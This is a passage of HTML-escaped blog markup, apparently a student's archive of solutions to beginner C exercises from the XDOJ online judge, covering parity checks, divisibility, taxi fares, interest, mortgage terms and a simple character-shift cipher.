class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;奇数\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;偶数\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"22-整除判断2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#22-%E6%95%B4%E9%99%A4%E5%88%A4%E6%96%AD2\" class=\"headerlink\" title=\"22.整除判断2\"\u003e\u003c/a\u003e22.整除判断2\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(num%\u003cspan class=\"number\"\u003e35\u003c/span\u003e==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;yes\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;no\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"23-出租车计价\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#23-%E5%87%BA%E7%A7%9F%E8%BD%A6%E8%AE%A1%E4%BB%B7\" class=\"headerlink\" title=\"23.出租车计价\"\u003e\u003c/a\u003e23.出租车计价\u003c/h3\u003e\u003cp\u003e注意四舍五入的技巧:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e num=\u003cspan class=\"number\"\u003e5.4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)(num+\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//四舍五入\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003efloat\u003c/span\u003e s,\u003cspan class=\"type\"\u003eint\u003c/span\u003e t)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f %d\u0026#34;\u003c/span\u003e,\u0026amp;s,\u0026amp;t);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)(calc(s,t)+\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003efloat\u003c/span\u003e s,\u003cspan class=\"type\"\u003eint\u003c/span\u003e t)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e res=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res=t/\u003cspan class=\"number\"\u003e5\u003c/span\u003e*\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(s\u0026gt;\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res+=\u003cspan class=\"number\"\u003e24\u003c/span\u003e+\u003cspan class=\"number\"\u003e3\u003c/span\u003e*(s\u003cspan class=\"number\"\u003e-10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(s\u0026gt;\u003cspan class=\"number\"\u003e3\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res+=\u003cspan class=\"number\"\u003e10\u003c/span\u003e+\u003cspan class=\"number\"\u003e2\u003c/span\u003e*(s\u003cspan class=\"number\"\u003e-3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(s\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res+=\u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"24-利率计算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#24-%E5%88%A9%E7%8E%87%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"24.利率计算\"\u003e\u003c/a\u003e24.利率计算\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e r,p=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f %d\u0026#34;\u003c/span\u003e,\u0026amp;r,\u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(;n\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e;n--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p*=\u003cspan class=\"number\"\u003e1\u003c/span\u003e+r;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e,p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"25-购房贷款计算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#25-%E8%B4%AD%E6%88%BF%E8%B4%B7%E6%AC%BE%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"25.购房贷款计算\"\u003e\u003c/a\u003e25.购房贷款计算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e纯粹拿来恶心人的(虽然确实有实际应用背景\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e month=\u003cspan class=\"number\"\u003e0\u003c/span\u003e,d,p,r;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f %f %f\u0026#34;\u003c/span\u003e,\u0026amp;d,\u0026amp;p,\u0026amp;r);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e month=\u003cspan class=\"built_in\"\u003elog10\u003c/span\u003e((\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)(p/(p-d*r)))/\u003cspan class=\"built_in\"\u003elog10\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e+(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)r);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e,month);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"26-字符加密\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#26-%E5%AD%97%E7%AC%A6%E5%8A%A0%E5%AF%86\" class=\"headerlink\" title=\"26.字符加密\"\u003e\u003c/a\u003e26.字符加密\u003c/h3\u003e\u003cp\u003e正经解法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;China\u0026#34;\u003c/span\u003e, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch[i] + \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不正经解法(大家别学我):\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan 